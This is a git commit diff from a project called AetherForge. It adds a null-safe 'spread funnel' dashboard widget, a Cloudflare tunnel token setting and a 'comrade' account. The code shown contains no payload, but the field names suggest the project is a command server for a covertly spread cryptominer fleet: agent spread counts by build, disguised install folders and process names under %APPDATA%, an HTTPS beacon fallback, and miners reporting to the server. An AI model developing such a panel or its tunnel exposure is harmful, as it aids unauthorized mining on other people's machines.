fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start

Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
AetherForge
2026-06-04 14:14:34 -07:00
parent 5fc601b564
commit 6bfce5d5ab
16 changed files with 390 additions and 106 deletions

View File

@@ -46,6 +46,7 @@ export function SpreadFunnelWidget() {
}, []);
if (!stats) return null;
const byBuild = stats.by_build ?? [];
return (
<NeonCard accent="cyan" tilt3d={false}>
@@ -55,7 +56,7 @@ export function SpreadFunnelWidget() {
<span>New today: <strong>{stats.new_connects_today}</strong></span>
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
</div>
{stats.by_build.length === 0 ? (
{byBuild.length === 0 ? (
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
) : (
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
@@ -65,7 +66,7 @@ export function SpreadFunnelWidget() {
</tr>
</thead>
<tbody>
{stats.by_build.slice(0, 10).map((r, i) => (
{byBuild.slice(0, 10).map((r, i) => (
<tr key={i} style={{ borderTop: '1px solid #222' }}>
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
<td>{r.worker_name}</td>

View File

@@ -85,6 +85,7 @@ describe('FIELD_HELP', () => {
'install_custom_base',
'install_relative_path',
'public_url',
'cloudflare_tunnel_token',
'https_beacon_fallback',
'https_beacon_after_min',
'webhook_url',

View File

@@ -99,6 +99,8 @@ export const FIELD_HELP: Record<string, string> = {
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
public_url: 'Override the LAN URL shown in Forge and given to new miners. Use http://192.168.x.x:8989 — not localhost — so other PCs can reach this server.',
cloudflare_tunnel_token:
'Cloudflare Zero Trust connector token from the tunnel install command (cloudflared tunnel run --token …). Saved to config and data/cloudflared-token.txt; AetherForge starts cloudflared automatically on launch. Route the tunnel to http://localhost:<port> in the Cloudflare dashboard.',
websocket_ping_seconds: 'How often the server pings dashboard and agent WebSockets (seconds). Keeps NAT/firewall sessions alive.',
log_pool_traffic: 'Verbose Stratum wire logging to the server console — for debugging pool connectivity only.',
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',

View File

@@ -79,6 +79,10 @@ export default function SettingsPage() {
password: 'x',
backup_pools: [],
},
tunnel_defaults: {
cloudflared_target_url: cfg.tunnel_defaults?.cloudflared_target_url ?? '',
cloudflare_tunnel_token: cfg.tunnel_defaults?.cloudflare_tunnel_token ?? '',
},
alerts: {
...cfg.alerts,
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
@@ -520,6 +524,24 @@ export default function SettingsPage() {
</div>
<FieldHint field="public_url" />
</div>
<div className="form-group">
<label htmlFor="cfg-cf-token" className="label">
Cloudflare Tunnel Token <HelpTip field="cloudflare_tunnel_token" />
</label>
<input
id="cfg-cf-token"
type="password"
className="input mono"
autoComplete="off"
placeholder="eyJhIjoi… connector token from Cloudflare"
value={config.tunnel_defaults?.cloudflare_tunnel_token ?? ''}
onChange={(e) => updateField('tunnel_defaults.cloudflare_tunnel_token', e.target.value)}
/>
<FieldHint field="cloudflare_tunnel_token" />
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
After saving, restart LAUNCH / the server. Connector also reads <code className="mono">data/cloudflared-token.txt</code> on USB.
</p>
</div>
<div className="form-group">
<label htmlFor="cfg-subtitle" className="label">Dashboard Subtitle</label>
<input id="cfg-subtitle" type="text" className="input" value={s.dashboard_subtitle}

View File

@@ -212,6 +212,8 @@ export interface ServerSettings {
export interface TunnelDefaults {
/** Default Cloudflare tunnel target — usually mirrors server.public_url. */
cloudflared_target_url?: string;
/** Zero Trust connector token — cloudflared tunnel run --token (control deck / USB). */
cloudflare_tunnel_token?: string;
}
export interface PoolEndpoint {